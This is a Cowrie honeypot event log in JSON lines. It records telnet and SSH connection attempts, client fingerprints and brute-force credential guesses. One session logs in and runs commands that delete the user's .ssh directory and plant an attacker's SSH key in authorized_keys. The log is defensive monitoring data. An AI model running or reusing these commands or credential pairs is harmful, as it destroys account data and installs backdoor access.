{"eventid":"cowrie.session.closed","duration":48.70343780517578,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:15.847054Z","src_ip":"137.184.155.248","session":"5e476c5bee05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59696,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a602f6d0e4","protocol":"telnet","message":"New connection: 137.184.155.248:59696 (10.17.0.5:23) [session: 65a602f6d0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:38.546518Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33418,"dst_ip":"10.17.0.5","dst_port":23,"session":"fba38b94d5d2","protocol":"telnet","message":"New connection: 137.184.155.248:33418 (10.17.0.5:23) [session: fba38b94d5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:43.459949Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33430,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dbf909aaa92","protocol":"telnet","message":"New connection: 137.184.155.248:33430 (10.17.0.5:23) [session: 9dbf909aaa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:44.096060Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79f065739d8","protocol":"telnet","message":"New connection: 137.184.155.248:34840 (10.17.0.5:23) [session: f79f065739d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:53.374790Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":23636,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb23ea4dbdf3","protocol":"ssh","message":"New connection: 112.151.178.49:23636 (10.17.0.5:22) [session: bb23ea4dbdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:56.620983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:56.625864Z","src_ip":"112.151.178.49","session":"bb23ea4dbdf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:56.840887Z","src_ip":"112.151.178.49","session":"bb23ea4dbdf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin3","password":"admin3","message":"login attempt [admin3/admin3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:57.756613Z","src_ip":"112.151.178.49","session":"bb23ea4dbdf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.920827865600586,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:58.036081Z","src_ip":"137.184.155.248","session":"f23793ae9f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:33:58.973797Z","src_ip":"112.151.178.49","session":"bb23ea4dbdf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181007385254,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:04.235520Z","src_ip":"31.43.241.152","session":"296bb0719407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":47564,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2149c480fb4","protocol":"telnet","message":"New connection: 31.43.241.152:47564 (159.203.135.109:23) [session: c2149c480fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:04.574794Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45804,"dst_ip":"10.17.0.5","dst_port":23,"session":"42282ff42195","protocol":"telnet","message":"New connection: 137.184.155.248:45804 (10.17.0.5:23) [session: 42282ff42195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:13.313051Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":34988,"dst_ip":"10.17.0.5","dst_port":22,"session":"4094d71d2308","protocol":"ssh","message":"New connection: 58.186.20.101:34988 (10.17.0.5:22) [session: 4094d71d2308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:14.093449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:14.097953Z","src_ip":"58.186.20.101","session":"4094d71d2308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:14.357115Z","src_ip":"58.186.20.101","session":"4094d71d2308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmodserver123","message":"login attempt [gmodserver/gmodserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:15.424003Z","src_ip":"58.186.20.101","session":"4094d71d2308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:16.684518Z","src_ip":"58.186.20.101","session":"4094d71d2308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.90105366706848,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:18.447502Z","src_ip":"137.184.155.248","session":"65a602f6d0e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35012,"dst_ip":"10.17.0.5","dst_port":23,"session":"5692d7c36207","protocol":"telnet","message":"New connection: 137.184.155.248:35012 (10.17.0.5:23) [session: 5692d7c36207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:22.740548Z"}
{"eventid":"cowrie.session.closed","duration":44.849533557891846,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:28.945467Z","src_ip":"137.184.155.248","session":"9dbf909aaa92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.48143434524536,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:31.941263Z","src_ip":"137.184.155.248","session":"fba38b94d5d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.23210144042969,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:37.606750Z","src_ip":"137.184.155.248","session":"f79f065739d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c369e2a81c0","protocol":"telnet","message":"New connection: 137.184.155.248:41988 (10.17.0.5:23) [session: 4c369e2a81c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:49.420826Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":36067,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91367eb2c25","protocol":"ssh","message":"New connection: 112.151.178.49:36067 (10.17.0.5:22) [session: e91367eb2c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:55.735295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:55.739856Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:55.951481Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2020","message":"login attempt [admin/admin@2020] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:56.828838Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.296435Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.299752Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.303557Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.18494415283203,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.497826Z","src_ip":"137.184.155.248","session":"42282ff42195","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.518310Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.984651Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:57.987555Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:58.207889Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:58.211421Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":24648,"dst_ip":"10.17.0.5","dst_port":22,"session":"4143506a8e0b","protocol":"ssh","message":"New connection: 112.151.178.49:24648 (10.17.0.5:22) [session: 4143506a8e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:58.421930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:58.426710Z","src_ip":"112.151.178.49","session":"4143506a8e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:58.642186Z","src_ip":"112.151.178.49","session":"4143506a8e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:34:59.533169Z","src_ip":"112.151.178.49","session":"4143506a8e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:00.750886Z","src_ip":"112.151.178.49","session":"4143506a8e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":45032,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5adf5c33d3","protocol":"ssh","message":"New connection: 112.151.178.49:45032 (10.17.0.5:22) [session: da5adf5c33d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:00.940824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:00.945620Z","src_ip":"112.151.178.49","session":"da5adf5c33d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:01.152321Z","src_ip":"112.151.178.49","session":"da5adf5c33d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:01.995627Z","src_ip":"112.151.178.49","session":"da5adf5c33d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.202906Z","src_ip":"112.151.178.49","session":"da5adf5c33d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":13887,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbf10d9cbabe","protocol":"ssh","message":"New connection: 177.36.200.182:13887 (10.17.0.5:22) [session: dbf10d9cbabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.336519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.341848Z","src_ip":"177.36.200.182","session":"dbf10d9cbabe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.529921Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
